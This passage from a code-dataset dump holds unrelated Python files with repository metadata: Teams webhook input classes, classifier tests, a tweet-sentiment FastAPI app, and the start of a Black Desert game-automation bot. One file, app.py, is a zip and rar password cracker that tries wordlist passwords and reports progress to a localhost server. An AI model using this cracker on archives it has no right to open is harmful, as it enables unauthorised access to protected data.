dfcd1407e296fc5e7ca423853053f679cf625cda

[ "MIT" ]

null

msteamswebhook/inputs.py

mviniciusleal/msteamswebhook

dfcd1407e296fc5e7ca423853053f679cf625cda

[ "MIT" ]

null

from msteamswebhook.base import * from typing import Union, List, Dict class Input_ChoiceSet(Input): _type = "Input.ChoiceSet" def __init__(self, id: str, choices: List[Input_Choice], isMultiSelect: bool=None, style: ChoiceInputStyle=None, value: str=None, placeholder: str=None, wrap: bool=None, #Input errorMessage: str=None, isRequired: bool=None, label: str=None, fallback: Union[IElement, FallbackOption]=None, height: BlockElementHeight=None, separator: bool=None, spacing: Spacing=None, isVisible: bool=None, additionalProperties: Dict=None ): super().__init__(id, errorMessage, isRequired, label, fallback, height, separator, spacing, isVisible, additionalProperties) self._choices = choices self._isMultiSelect = isMultiSelect self._style = style self._value = value self._placeholder = placeholder self._wrap = wrap class Input_Date(Input): _type = "Input.Date" def __init__(self, id: str, max: str=None, min: str=None, placeholder: str=None, value: str=None, #Input errorMessage: str=None, isRequired: bool=None, label: str=None, fallback: Union[IElement, FallbackOption]=None, height: BlockElementHeight=None, separator: bool=None, spacing: Spacing=None, isVisible: bool=None, additionalProperties: Dict=None ): super().__init__(id, errorMessage, isRequired, label, fallback, height, separator, spacing, isVisible, additionalProperties) self._max = max self._min = min self._placeholder = placeholder self._value = value class Input_Number(Input): _type = "Input.Number" def __init__(self, id: str, max: int=None, min: int=None, placeholder: str=None, value: int=None, #Input errorMessage: str=None, isRequired: bool=None, label: str=None, fallback: Union[IElement, FallbackOption]=None, height: BlockElementHeight=None, separator: bool=None, spacing: Spacing=None, isVisible: bool=None, additionalProperties: Dict=None ): super().__init__(id, errorMessage, isRequired, label, fallback, height, separator, spacing, isVisible, additionalProperties) self._max = max self._min = min self._placeholder = placeholder self._value = value class Input_Text(Input): _type = "Input.Text" def __init__(self, id: str, isMultiline: bool=None, maxLength: int=None, placeholder: str=None, regex: str=None, style: TextInputStyle=None, inlineAction: SelectAction=None, value: str=None, #Input errorMessage: str=None, isRequired: bool=None, label: str=None, fallback: Union[IElement, FallbackOption]=None, height: BlockElementHeight=None, separator: bool=None, spacing: Spacing=None, isVisible: bool=None, additionalProperties: Dict=None ): super().__init__(id, errorMessage, isRequired, label, fallback, height, separator, spacing, isVisible, additionalProperties) self._isMultiline = isMultiline self._maxLength = maxLength self._placeholder = placeholder self._regex = regex self._style = style self._inlineAction = inlineAction self._value = value class Input_Time(Input): _type = "Input.Time" def __init__(self, id: str, max: str=None, min: str=None, placeholder: str=None, value: str=None, #Input errorMessage: str=None, isRequired: bool=None, label: str=None, fallback: Union[IElement, FallbackOption]=None, height: BlockElementHeight=None, separator: bool=None, spacing: Spacing=None, isVisible: bool=None, additionalProperties: Dict=None ): super().__init__(id, errorMessage, isRequired, label, fallback, height, separator, spacing, isVisible, additionalProperties) self._max = max self._min = min self._placeholder = placeholder self._value = value class Input_Toggle(Input): _type = "Input.Toggle" def __init__(self, id: str, title: str, value: str=None, valueOff: str=None, valueOn: str=None, wrap: bool=None, #Input errorMessage: str=None, isRequired: bool=None, label: str=None, fallback: Union[IElement, FallbackOption]=None, height: BlockElementHeight=None, separator: bool=None, spacing: Spacing=None, isVisible: bool=None, additionalProperties: Dict=None ): super().__init__(id, errorMessage, isRequired, label, fallback, height, separator, spacing, isVisible, additionalProperties) self._title = title self._value = value self._valueOff = valueOff self._valueOn = valueOn self._wrap = wrap

28.900585

132

0.648928

514

4,942

6.062257

0.110895

0.065148

0.026958

0.025032

0.758665

0.712131

0.706033

0

0.250708

4,942

170

133

29.070588

0.84148

0.007082

0

0.756579

0

0.014082

0

1

0.039474

false

0

0.013158

0

0.131579

0

null

0

1

0

1

0

null

0

6

5c1dd0fa3d116b6293aedfa20eacc198cb70f438

130

py

Python

pyfileconf/exceptions/config.py

nickderobertis/py-file-conf

100773b86373035a5b485a1ed96d8f5a1d69d066

[ "MIT" ]

2

2020-11-29T19:09:14.000Z

2021-09-11T19:21:21.000Z

pyfileconf/exceptions/config.py

nickderobertis/py-file-conf

100773b86373035a5b485a1ed96d8f5a1d69d066

[ "MIT" ]

47

2020-02-01T03:54:07.000Z

2022-01-13T02:24:45.000Z

pyfileconf/exceptions/config.py

nickderobertis/py-file-conf

100773b86373035a5b485a1ed96d8f5a1d69d066

[ "MIT" ]

null

class ConfigManagerNotLoadedException(Exception): pass class CannotResolveConfigDependenciesException(Exception): pass

16.25

58

0.823077

8

130

13.375

0.625

0.242991

0

0.130769

130

7

59

18.571429

0.946903

0

0.5

0

1

0

true

0.5

0

0.5

0

1

0

1

null

1

0

1

0

null

0

1

0

6

5c2b789751c6586c849663183fd84073f92cbc40

2,840

py

Python

emorobot/monitor/tests/test_grouping_tests.py

cudaczek/emorobot-django

7637d6702df2a4ca41b6e4d51e727f910dcf9050

[ "MIT" ]

null

emorobot/monitor/tests/test_grouping_tests.py

cudaczek/emorobot-django

7637d6702df2a4ca41b6e4d51e727f910dcf9050

[ "MIT" ]

4

2020-01-28T23:10:41.000Z

2022-02-10T00:37:39.000Z

emorobot/monitor/tests/test_grouping_tests.py

cudaczek/emorobot-django

7637d6702df2a4ca41b6e4d51e727f910dcf9050

[ "MIT" ]

null

from unittest import TestCase from django.apps import apps AUDIO_CLASSIFIER = apps.get_app_config('monitor').audio_classifier VIDEO_CLASSIFIER = apps.get_app_config('monitor').video_classifier # using own emotions groups class VideoGroupTestCase(TestCase): def test_group_classical(self): results = [0.11, 0.44, 0.45] labels = ["sad", "happy", "angry"] values, category_names = VIDEO_CLASSIFIER.group(results, labels) categories = {x[1]: x[0] for x in zip(values, category_names)} result = {"negative": 0.11 + 0.45, "positive": 0.44, "other": 0.0, "neutral": 0.0} self.assertDictEqual(categories, result) def test_group_no_existing_emotion(self): results = [0.11, 0.44, 0.45] labels = ["excited", "happy", "angry"] values, category_names = VIDEO_CLASSIFIER.group(results, labels) categories = {x[1]: x[0] for x in zip(values, category_names)} result = {"negative": 0.45, "positive": 0.44, "other": 0.11, "neutral": 0.0} self.assertDictEqual(categories, result) def test_group_no_existing_emotion_in_own_dict_but_in_global(self): results = [0.11, 0.44, 0.45] labels = ["male_sad", "female_happy", "male_angry"] values, category_names = VIDEO_CLASSIFIER.group(results, labels) categories = {x[1]: x[0] for x in zip(values, category_names)} result = {"negative": 0.0, "positive": 0.0, "other": 1.0, "neutral": 0.0} self.assertDictEqual(categories, result) # using global emotional dictionary class AudioGroupTestCase(TestCase): def test_group_classical(self): results = [0.11, 0.44, 0.45] labels = ["sad", "happy", "angry"] values, category_names = AUDIO_CLASSIFIER.group(results, labels) categories = {x[1]: x[0] for x in zip(values, category_names)} result = {"negative": 0.45 + 0.11, "positive": 0.44, "other": 0.0, "neutral": 0.0} self.assertDictEqual(categories, result) def test_group_one_no_existing_emotion(self): results = [0.11, 0.44, 0.45] labels = ["excited", "male_happy", "female_angry"] values, category_names = AUDIO_CLASSIFIER.group(results, labels) categories = {x[1]: x[0] for x in zip(values, category_names)} result = {"negative": 0.45, "positive": 0.44, "other": 0.11, "neutral": 0.0} self.assertDictEqual(categories, result) def test_group_all_no_existing_emotions_in_global_dict(self): results = [0.11, 0.44, 0.45] labels = ["excited", "scared", "tired"] values, category_names = AUDIO_CLASSIFIER.group(results, labels) categories = {x[1]: x[0] for x in zip(values, category_names)} result = {"negative": 0.0, "positive": 0.0, "other": 1.0, "neutral": 0.0} self.assertDictEqual(categories, result)

47.333333

90

0.648592

387

2,840

4.599483

0.165375

0.094382

0.12809

0.047191

0.833146

0.796067

0.794382

0.779775

0

0.057548

0.204577

2,840

59

91

48.135593

0.730412

0.020775

0

0.666667

0

0.108711

0

0.125

1

0.125

false

0

0.041667

0

0.208333

0

null

0

1

0

null

0

6

30f6e1d7cf19b0fc37d90373fc5970feb66ccd87

355

py

Python

rlcard/games/wizard_trickpreds/__init__.py

MagnusWagner/rlcard

1a3aaef76e78968ebc68eb5b92e57be4709f7e38

[ "MIT" ]

null

rlcard/games/wizard_trickpreds/__init__.py

MagnusWagner/rlcard

1a3aaef76e78968ebc68eb5b92e57be4709f7e38

[ "MIT" ]

null

rlcard/games/wizard_trickpreds/__init__.py

MagnusWagner/rlcard

1a3aaef76e78968ebc68eb5b92e57be4709f7e38

[ "MIT" ]

null

from rlcard.games.wizard_trickpreds.dealer import WizardDealer as Dealer from rlcard.games.wizard_trickpreds.judger import WizardJudger as Judger from rlcard.games.wizard_trickpreds.player import WizardPlayer as Player from rlcard.games.wizard_trickpreds.card import WizardCard as Card from rlcard.games.wizard_trickpreds.game import WizardGame as Game

44.375

72

0.867606

50

355

6.06

0.34

0.165017

0.247525

0.346535

0.511551

0

0.090141

355

7

73

50.714286

0.938081

0

1

0

true

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

6

eb79f54201bb85afed3ab6e85715f334739a21cd

3,225

py

Python

app.py

erfansaberi/CFC_Compressed_files_cracker

f07ef9f80c0f86034665afdd32cc25a4688f8789

[ "MIT" ]

1

2020-10-23T10:52:55.000Z

app.py

erfansaberi/CFC-Compressed-files-cracker

f07ef9f80c0f86034665afdd32cc25a4688f8789

[ "MIT" ]

null

app.py

erfansaberi/CFC-Compressed-files-cracker

f07ef9f80c0f86034665afdd32cc25a4688f8789

[ "MIT" ]

null

from zipfile import ZipFile from rarfile import RarFile import os import sys import requests numpasswords = 0 def crackzip(filepath,passwd): i = 0 with ZipFile(filepath, 'r') as zipObj: for password in passwd: i += 1 try: zipObj.extractall(path='./extractedfile', members=None, pwd=password.rstrip('\n').encode()) print('\n===================') print('zip file extracted!') print('===================\n') requests.get(f'http://localhost:5000/recieve?status=extracted&password={password}&processid={processid}') return '' except: pass try: if i%20 == 0: requests.get(f'http://localhost:5000/progress?processid={processid}&numpasswords={numpasswords}&testedpasswords={i}') except Exception as e: requests.get(f'http://localhost:5000/errors?error={e}') requests.get('http://localhost:5000/recieve?status=failed') requests.get(f'http://localhost:5000/progress?processid={processid}&numpasswords={numpasswords}&testedpasswords={i}') def crackrar(filepath,passwd): i = 0 with RarFile(filepath,'r') as rarObj: for password in passwd: i += 1 try: rarObj.extractall(path='./extractedfile', members=None, pwd=password.rstrip('\n')) print('\n===================') print('rar file extracted!') print('===================\n') requests.get(f'http://localhost:5000/recieve?status=extracted&password={password}&processid={processid}') return '' except: pass try: if i%20 == 0: requests.get(f'http://localhost:5000/progress?processid={processid}&numpasswords={numpasswords}&testedpasswords={i}') except Exception as e: requests.get(f'http://localhost:5000/errors?error={e}') requests.get('http://localhost:5000/recieve?status=failed') requests.get(f'http://localhost:5000/progress?processid={processid}&numpasswords={numpasswords}&testedpasswords={i}') def getnumpasswords(passpath): num = 0 with open(passpath,'r') as passlist: for line in passlist: num += 1 return num try: zippath = sys.argv[2] passpath = sys.argv[1] processid = sys.argv[3] if os.path.splitext(zippath)[1] == '.zip': numpasswords = getnumpasswords(passpath) requests.get(f'http://localhost:5000/start?processid={processid}&numpasswords={numpasswords}') passwd = open(passpath) crackzip(zippath,passwd) passwd.close() elif os.path.splitext(zippath)[1] == '.rar': numpasswords = getnumpasswords(passpath) requests.get(f'http://localhost:5000/start?processid={processid}&numpasswords={numpasswords}') passwd = open(passpath) crackrar(zippath,passwd) passwd.close() except Exception as e: requests.get(f'http://localhost:5000/errors?error={e}')

41.346154

138

0.568372

330

3,225

5.554545

0.221212

0.078014

0.120567

0.096017

0.77305

0.727223

0.701037

0.639935

0

0.030017

0.276899

3,225

78

139

41.346154

0.756003

0

0.625

0

0.348365

0.026675

0

1

0.041667

false

0.402778

0.069444

0

0.152778

0.083333

0

null

0

1

0

null

0

1

0

6

eb8d26ed65479479d5bce9dba2d8faa1aec5c8c2

137

py

Python

learn-py/listas-py/a12.py

cassiocamargos/Python

14caf13145ee9c6807d572aac0af7497b00767e8

[ "MIT" ]

null

learn-py/listas-py/a12.py

cassiocamargos/Python

14caf13145ee9c6807d572aac0af7497b00767e8

[ "MIT" ]

null

learn-py/listas-py/a12.py

cassiocamargos/Python

14caf13145ee9c6807d572aac0af7497b00767e8

[ "MIT" ]

null

# 12- Faça um programa para calcular o estoque médio de uma peça, sendo que: ESTOQUE MÉDIO = (QUANTIDADE_MÍNIMA + QUANTIDADE_MÁXIMA) / 2.

137

0.766423

21

137

4.904762

0.857143

0.23301

0

0.026087

0.160584

137

1

137

0.869565

0.985401

0

null

0

null

0

null

0

null

1

null

true

0

null

1

0

null

1

0

1

0

1

0

1

0

null

0

1

0

6

cced38e106e82759e27c6295d2876d1b63875dad

34

py

Python

models/ops/depthconv/functions/__init__.py

E18301194/DepthAwareCNN

8ae98f7f18b69f79e7df03397dec2543d3d0c8eb

[ "MIT" ]

278

2018-05-09T03:08:56.000Z

2022-03-10T08:05:10.000Z

models/ops/depthconv/functions/__init__.py

jfzhang95/DepthAwareCNN

2076c751279637f112d9ea9ce33459b6f3b20063

[ "MIT" ]

35

2018-05-31T15:42:44.000Z

2022-03-17T09:36:13.000Z

models/ops/depthconv/functions/__init__.py

jfzhang95/DepthAwareCNN

2076c751279637f112d9ea9ce33459b6f3b20063

[ "MIT" ]

80

2018-06-03T10:04:48.000Z

2022-03-05T12:57:31.000Z

from .depthconv import depth_conv

17

33

0.852941

5

34

5.6

1

0

0.117647

34

1

34

0.933333

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

6905bbadb5b1f1db3200d748c41164c657cc5724

94

py

Python

torchFI/__init__.py

bfgoldstein/tiny_torchfi

82b0f4931ff8aac6079122200fbe61782bb1f0da

[ "Apache-2.0" ]

null

torchFI/__init__.py

bfgoldstein/tiny_torchfi

82b0f4931ff8aac6079122200fbe61782bb1f0da

[ "Apache-2.0" ]

null

torchFI/__init__.py

bfgoldstein/tiny_torchfi

82b0f4931ff8aac6079122200fbe61782bb1f0da

[ "Apache-2.0" ]

1

2021-05-17T00:48:03.000Z

from .modules import * from .bitflip import * from .injection import * from .fi_train import *

23.5

24

0.755319

13

94

5.384615

0.538462

0.428571

0

0.159574

94

4

25

23.5

0.886076

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

6927717cf5be474676ee5c6dd6c85608b5861f6c

53

py

Python

python/src/main/python/pyalink/alink/common/types/catalog/__init__.py

wenwei8268/Alink

c00702538c95a32403985ebd344eb6aeb81749a7

[ "Apache-2.0" ]

null

python/src/main/python/pyalink/alink/common/types/catalog/__init__.py

wenwei8268/Alink

c00702538c95a32403985ebd344eb6aeb81749a7

[ "Apache-2.0" ]

null

python/src/main/python/pyalink/alink/common/types/catalog/__init__.py

wenwei8268/Alink

c00702538c95a32403985ebd344eb6aeb81749a7

[ "Apache-2.0" ]

null

from .catalog import * from .catalog_object import *

17.666667

29

0.773585

7

53

5.714286

0.571429

0.55

0

0.150943

53

2

30

26.5

0.888889

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

695135b91e9e98f31ed88c8722447e9b598e3e85

41

py

Python

whitehole/__init__.py

heligp/whitehole

1e64e07e07416dbecac7326604afc653302d7044

[ "MIT" ]

2

2021-02-10T06:13:53.000Z

2022-02-10T21:53:50.000Z

whitehole/__init__.py

heligp/whitehole

1e64e07e07416dbecac7326604afc653302d7044

[ "MIT" ]

null

whitehole/__init__.py

heligp/whitehole

1e64e07e07416dbecac7326604afc653302d7044

[ "MIT" ]

1

2020-11-22T21:24:59.000Z

from whitehole.decryptor import Decryptor

41

0.902439

5

41

7.4

0.8

0

0.073171

41

1

41

0.973684

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

6970c5544f187c68f2678ee7d60b746deba4bbba

56

py

Python

pyecho/__init__.py

itsnauman/echo

367db9764000a1518e835dbdacaf177892b50594

[ "MIT" ]

8

2015-04-20T16:47:39.000Z

2021-01-14T04:07:11.000Z

pyecho/__init__.py

itsnauman/echo

367db9764000a1518e835dbdacaf177892b50594

[ "MIT" ]

null

pyecho/__init__.py

itsnauman/echo

367db9764000a1518e835dbdacaf177892b50594

[ "MIT" ]

1

2015-04-21T11:52:29.000Z

from .echo import echo from .echo import FailingTooHard

18.666667

32

0.821429

8

56

5.75

0.5

0.347826

0.608696

0

0.142857

56

2

33

28

0.958333

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

15c3488c3a54bc843858a2efca16451e4c18dac5

80

py

Python

DaVinciAccess/__init__.py

andostini/DailiesPipe

06dedfa30b7d12ff795a9267d13b2f5c6106c986

[ "MIT" ]

1

2021-12-08T09:16:27.000Z

DaVinciAccess/__init__.py

andostini/SilverstackAccess

06dedfa30b7d12ff795a9267d13b2f5c6106c986

[ "MIT" ]

1

2021-08-10T13:24:41.000Z

DaVinciAccess/__init__.py

andostini/DailiesPipe

06dedfa30b7d12ff795a9267d13b2f5c6106c986

[ "MIT" ]

1

2021-01-29T15:23:27.000Z

from DaVinciAccess.DaVinciAccess import Project, getProjects, getSubfolderByName

80

0.9

7

80

10.285714

0.857143

0

0.0625

80

1

80

0.96

0

1

0

true

0

1

0

1

0

1

0

1

null

0

1

0

null

0

1

0

1

0

1

0

6

c62f171a532186cdbdaa09e7f725a456aec5331b

2,601

py

Python

exams/migrations/0027_auto_20210806_0955.py

ankanb240/otis-web

45eda65b419705c65c02b15872a137969d53d8e9

[ "MIT" ]

15

2021-08-28T18:18:37.000Z

2022-03-13T07:48:15.000Z

exams/migrations/0027_auto_20210806_0955.py

ankanb240/otis-web

45eda65b419705c65c02b15872a137969d53d8e9

[ "MIT" ]

65

2021-08-20T02:37:27.000Z

2022-02-07T17:19:23.000Z

exams/migrations/0027_auto_20210806_0955.py

ankanb240/otis-web

45eda65b419705c65c02b15872a137969d53d8e9

[ "MIT" ]

31

2020-01-09T02:35:29.000Z

2022-03-13T07:48:18.000Z

# Generated by Django 3.2.5 on 2021-08-06 13:55 from django.db import migrations, models import exams.models class Migration(migrations.Migration): dependencies = [ ('exams', '0026_auto_20210806_0126'), ] operations = [ migrations.AlterField( model_name='examattempt', name='guess1', field=models.CharField(blank=True, max_length=18, validators=[exams.models.expr_validator], verbose_name='Problem 1 response'), ), migrations.AlterField( model_name='examattempt', name='guess2', field=models.CharField(blank=True, max_length=18, validators=[exams.models.expr_validator], verbose_name='Problem 2 response'), ), migrations.AlterField( model_name='examattempt', name='guess3', field=models.CharField(blank=True, max_length=18, validators=[exams.models.expr_validator], verbose_name='Problem 3 response'), ), migrations.AlterField( model_name='examattempt', name='guess4', field=models.CharField(blank=True, max_length=18, validators=[exams.models.expr_validator], verbose_name='Problem 4 response'), ), migrations.AlterField( model_name='examattempt', name='guess5', field=models.CharField(blank=True, max_length=18, validators=[exams.models.expr_validator], verbose_name='Problem 5 response'), ), migrations.AlterField( model_name='practiceexam', name='answer1', field=models.CharField(blank=True, max_length=64, validators=[exams.models.expr_validator_multiple]), ), migrations.AlterField( model_name='practiceexam', name='answer2', field=models.CharField(blank=True, max_length=64, validators=[exams.models.expr_validator_multiple]), ), migrations.AlterField( model_name='practiceexam', name='answer3', field=models.CharField(blank=True, max_length=64, validators=[exams.models.expr_validator_multiple]), ), migrations.AlterField( model_name='practiceexam', name='answer4', field=models.CharField(blank=True, max_length=64, validators=[exams.models.expr_validator_multiple]), ), migrations.AlterField( model_name='practiceexam', name='answer5', field=models.CharField(blank=True, max_length=64, validators=[exams.models.expr_validator_multiple]), ), ]

40.015385

139

0.627835

262

2,601

6.068702

0.221374

0.076101

0.157233

0.18239

0.852201

0.84717

0.791195

0.660377

0

0.034021

0.254133

2,601

64

140

40.640625

0.785567

0.017301

0

0.603448

1

0

0.11668

0.009005

0

1

0

false

0

0.034483

0

0.086207

0

null

0

1

0

1

0

1

0

null

0

6

d667ef990de1ca58ac5bf4fd84e847aa4f4f5031

130

py

Python

jobs/blast/query2tree.py

OSC/pseudofun

fce05e37dcba713d2c3f622b295350cfdd46b9e1

[ "CC-BY-4.0", "MIT" ]

null

jobs/blast/query2tree.py

OSC/pseudofun

fce05e37dcba713d2c3f622b295350cfdd46b9e1

[ "CC-BY-4.0", "MIT" ]

7

2018-05-24T14:18:10.000Z

2022-02-26T03:56:41.000Z

jobs/blast/query2tree.py

OSC/pseudofun

fce05e37dcba713d2c3f622b295350cfdd46b9e1

[ "CC-BY-4.0", "MIT" ]

null

#!/bin/python import alignment_toolbox import sys alignment_toolbox.generate_tree(sys.argv[2],sys.argv[1], True, sys.argv[3]);

16.25

76

0.761538

21

130

4.571429

0.619048

0.21875

0

0.02521

0.084615

130

7

77

18.571429

0.781513

0.092308

0

1

0

1

0

true

0

0.666667

0

0.666667

0

1

0

null

1

0

1

0

1

0

null

0

1

0

1

0

6

d6984892ef25dfbf9c1c281e89c74ebb6fa0cf56

158

py

Python

chapter2/code/os module/platform_version.py

gabrielmahia/ushuhudAI

ee40c9822852f66c6111d1d485dc676b6da70677

[ "MIT" ]

74

2020-05-19T01:08:03.000Z

2022-03-31T14:00:41.000Z

chapter2/code/os module/platform_version.py

gabrielmahia/ushuhudAI

ee40c9822852f66c6111d1d485dc676b6da70677

[ "MIT" ]

1

2021-06-04T06:08:21.000Z

chapter2/code/os module/platform_version.py

gabrielmahia/ushuhudAI

ee40c9822852f66c6111d1d485dc676b6da70677

[ "MIT" ]

47

2020-05-05T12:06:31.000Z

2022-03-10T04:45:01.000Z

from platform import python_implementation, python_version_tuple print(python_implementation()) for attribute in python_version_tuple(): print(attribute)

31.6

64

0.841772

19

158

6.684211

0.578947

0.314961

0.283465

0.362205

0

0.094937

158

4

65

39.5

0.888112

0

1

0

false

0

0.25

0

0.25

0.5

1

0

null

1

0

1

0

null

0

1

0

6

d6a0cdd879873e62447a4e9dabd5d1fab47a6078

3,833

py

Python

index.py

FrostGod/Twitter-Sentimental-Analysis

a186d955b1441bae6ec423a89d4c5779d6390d63

[ "MIT" ]

null

index.py

FrostGod/Twitter-Sentimental-Analysis

a186d955b1441bae6ec423a89d4c5779d6390d63

[ "MIT" ]

null

index.py

FrostGod/Twitter-Sentimental-Analysis

a186d955b1441bae6ec423a89d4c5779d6390d63

[ "MIT" ]

null

from fastapi import FastAPI import fetch_tweets as ft import csv import os import json app = FastAPI() def make_json(csvFilePath, jsonFilePath, tweets): data = {} print("making json file") with open(csvFilePath, encoding='utf-8') as csvf: csvReader = csv.DictReader(csvf) cnt = 0 for rows in csvReader: key = cnt temp = dict() # print(tweets[cnt]) temp["tweet"] = tweets[cnt][1] data[key] = rows data[key].update(temp) cnt += 1 with open(jsonFilePath, 'w', encoding='utf-8') as jsonf: jsonf.write(json.dumps(data, indent=4)) @app.get("/topic/{Topic}") def topic(Topic: str, models: str): models = models.split(',') print(models) tweets = ft.get_tweets(Topic) print(tweets) filename = "new_tweets.csv" with open(filename, 'w') as csvfile: csvwriter = csv.writer(csvfile) csvwriter.writerows(tweets) os.system("python3 ./code/preprocess.py new_tweets.csv") if "bl" in models: os.system("python3 ./code/baseline.py") make_json('./baseline.csv', './bl.json', tweets) with open('bl.json') as json_file: data = json.load(json_file) return data if "svm" in models: print("svm") os.system("python3 ./code/svm.py") make_json('./svm.csv', './svm.json', tweets) with open('svm.json') as json_file: data = json.load(json_file) return data if "dt" in models: os.system("python3 ./code/decisiontree.py") make_json('./decisiontree.csv', './dt.json', tweets) with open('dt.json') as json_file: data = json.load(json_file) return data if "rf" in models: os.system("python3 ./code/randomforest.py") make_json('./randomforest.csv', './rf.json', tweets) with open('rf.json') as json_file: data = json.load(json_file) return data if "nb" in models: os.system("python3 ./code/naivebayes.py") make_json('./naivebayes.csv', './nb.json', tweets) with open('nb.json') as json_file: data = json.load(json_file) return data @app.get("/tweet/{tweet}") def topic(tweet: str, models: str): print("hi") models = models.split(',') print(models) # tweets = ft.get_tweets(Topic) tweets = [[0, tweet]] filename = "new_tweets.csv" with open(filename, 'w') as csvfile: csvwriter = csv.writer(csvfile) csvwriter.writerows(tweets) os.system("python3 ./code/preprocess.py new_tweets.csv") if "bl" in models: os.system("python3 ./code/baseline.py") make_json('./baseline.csv', './bl.json', tweets) with open('bl.json') as json_file: data = json.load(json_file) return data if "svm" in models: os.system("python3 ./code/svm.py") make_json('./svm.csv', './svm.json', tweets) with open('svm.json') as json_file: data = json.load(json_file) return data if "dt" in models: os.system("python3 ./code/decisiontree.py") make_json('./decisiontree.csv', './dt.json', tweets) with open('dt.json') as json_file: data = json.load(json_file) return data if "rf" in models: os.system("python3 ./code/randomforest.py") make_json('./randomforest.csv', './rf.json', tweets) with open('rf.json') as json_file: data = json.load(json_file) return data if "nb" in models: os.system("python3 ./code/naivebayes.py") make_json('./naivebayes.csv', './nb.json', tweets) with open('nb.json') as json_file: data = json.load(json_file) return data

31.418033

60

0.573702

494

3,833

4.374494

0.147773

0.077742

0.083295

0.105507

0.769088

0

0.006874

0.278894

3,833

121

61

31.677686

0.774964

0.012523

0

0.711538

0

0.20862

0.023268

0

1

0.028846

false

0

0.048077

0

0.173077

0.057692

0

null

0

1

0

1

0

null

0

6

ba38a47970de24cff91878efadc678361604b915

59

py

Python

Modulo/ModulosPacotes.py

andrezzadede/Curso-de-Python-POO

7b3f892b78271e53543451e2896da5e47e79f87f

[ "MIT" ]

null

Modulo/ModulosPacotes.py

andrezzadede/Curso-de-Python-POO

7b3f892b78271e53543451e2896da5e47e79f87f

[ "MIT" ]

null

Modulo/ModulosPacotes.py

andrezzadede/Curso-de-Python-POO

7b3f892b78271e53543451e2896da5e47e79f87f

[ "MIT" ]

null

import math print(math.sqrt(25)) print(math.factorial(5))

11.8

24

0.745763

10

59

4.4

0.7

0.409091

0

0.055556

0.084746

59

5

24

11.8

0.759259

0

1

0

true

0

0.333333

0

0.333333

0.666667

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

ba900b5bb8f5ca791cb78f18eaa740d215e05412

23

py

Python

csv2yaml/__init__.py

sepandhaghighi/csv2yaml

cbacd12cee3e6a168cef56a57f7aad77e934f3a2

[ "MIT" ]

12

2017-09-13T21:36:22.000Z

2021-03-09T06:28:48.000Z

csv2yaml/__init__.py

sepandhaghighi/csv2yaml

cbacd12cee3e6a168cef56a57f7aad77e934f3a2

[ "MIT" ]

1

2019-07-03T07:16:39.000Z

csv2yaml/__init__.py

sepandhaghighi/csv2yaml

cbacd12cee3e6a168cef56a57f7aad77e934f3a2

[ "MIT" ]

2

2019-06-19T08:46:35.000Z

2020-07-13T03:54:18.000Z

from .csv2yaml import *

23

0.782609

3

23

6

1

0

0.05

0.130435

23

1

23

0.85

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

baa6847316fba96a12088e1b06bdbddcef8584a6

178,789

py

Python

likeyoubot_blackdesert.py

dogfooter-master/dogfooter

e1e39375703fe3019af7976f97c44cf2cb7ca0fa

[ "MIT" ]

null

likeyoubot_blackdesert.py

dogfooter-master/dogfooter

e1e39375703fe3019af7976f97c44cf2cb7ca0fa

[ "MIT" ]

null

likeyoubot_blackdesert.py

dogfooter-master/dogfooter

e1e39375703fe3019af7976f97c44cf2cb7ca0fa

[ "MIT" ]

null

import likeyoubot_game as lybgame import likeyoubot_blackdesert_scene as lybscene from likeyoubot_configure import LYBConstant as lybconstant import time import sys import tkinter from tkinter import ttk from tkinter import font import copy class LYBBlackDesert(lybgame.LYBGame): work_list = [ '게임 시작', '로그인', '메인 퀘스트', '자동 사냥', # '이야기', '우편함', '과제', '길드', '교감', '말 가방에 넣기', '말 가방 모두 꺼내기', '낚시', '투기장', '인사하기', '영지', '영지로 이동', '영지 나가기', '마을로 이동', '가축상점', '교본상점', '토벌 게시판', '이벤트 보상 수령', '캐릭터 변경', '캐릭터 이동', '도감', '기술 성장', '월드 보스', '흑정령 - 흑정령 의뢰', '흑정령 - 검은 기운', '흑정령 - 잠재력 돌파', '흑정령 - 수정 합성', '흑정령 - 광원석 합성', '반려동물 - 먹이주기', '미궁 개척', '미궁 목록', '마우스 클릭', '알림', '[반복 시작]', '[반복 종료]', '[작업 대기]', '[작업 예약]', '' ] nox_bd_icon_list = [ 'nox_bd_icon', 'nox_bd_icon2', 'bd_icon3', ] momo_bd_icon_list = [ 'momo_bd_icon', 'momo_bd_icon2', 'bd_icon3', ] potion_list = [ '소형', '중형', '대형' ] box_range_list = [ '좁게', '중간' ] ddolmani_skill_list = [ "흑정령의 분노:흡수", "흑정령의 분노I", "흑정령의 분노II" ] sell_pummok_list = [ "무기", "방어구", "장신구", "수정", "물약" ] item_rank_list = [ "낡은", "일반", "고급", "희귀", "유일", "전설", "신화" ] item_rank_color_list = [ "#7d7d86", "#000000", "#759460", "#4880b6", "#433e6f", "#d49e4a", "#de5f21" ] character_move_list = [ "↑", "↗", "→", "↘", "↓", "↙", "←", "↖" ] sujeong_rank_list = [ '일반', '고급', '희귀', '유일', '전설'] geomun_rank_list = [ '낡은', '일반', '고급', '희귀', '유일', '전설', '신화', '심연', ] chejip_list = [ '야생 들풀', '저마', '목화 솜', '누에고치', '통나무', '연한 원목', '가벼운 원목', '탄력있는 원목', '거친 석재', '구리 광석', '철 광석', '주석 광석', '설정 안함' ] chejip_place_list = [ '1 지역', '2 지역', '3 지역', '4 지역' ] jamjeryeok_dolpa_rank_list = [ '하급', '중급', '상급', '최상급' ] jamjeryeok_dolpa_rank_order_list = [ '낮은', '높은' ] npc_list = [ '잡화상점', '가축상점', '씨앗상점', '교본상점', ] migung_rank_op_list = [ '＝', '≥' ] tobeol_boss_list = [ '빨간코', '기아스', '비겁한 베그', '알 룬디', '티티움', '머스칸', '오르그', '켈카스', '검은갈기', '사우닐 공성대장', '게아쿠', '쿠베', '우라카', '헥세마리', '카부아밀레스', '사형 집행관', '일레즈라의 하수인', '엘릭 제사장', ] 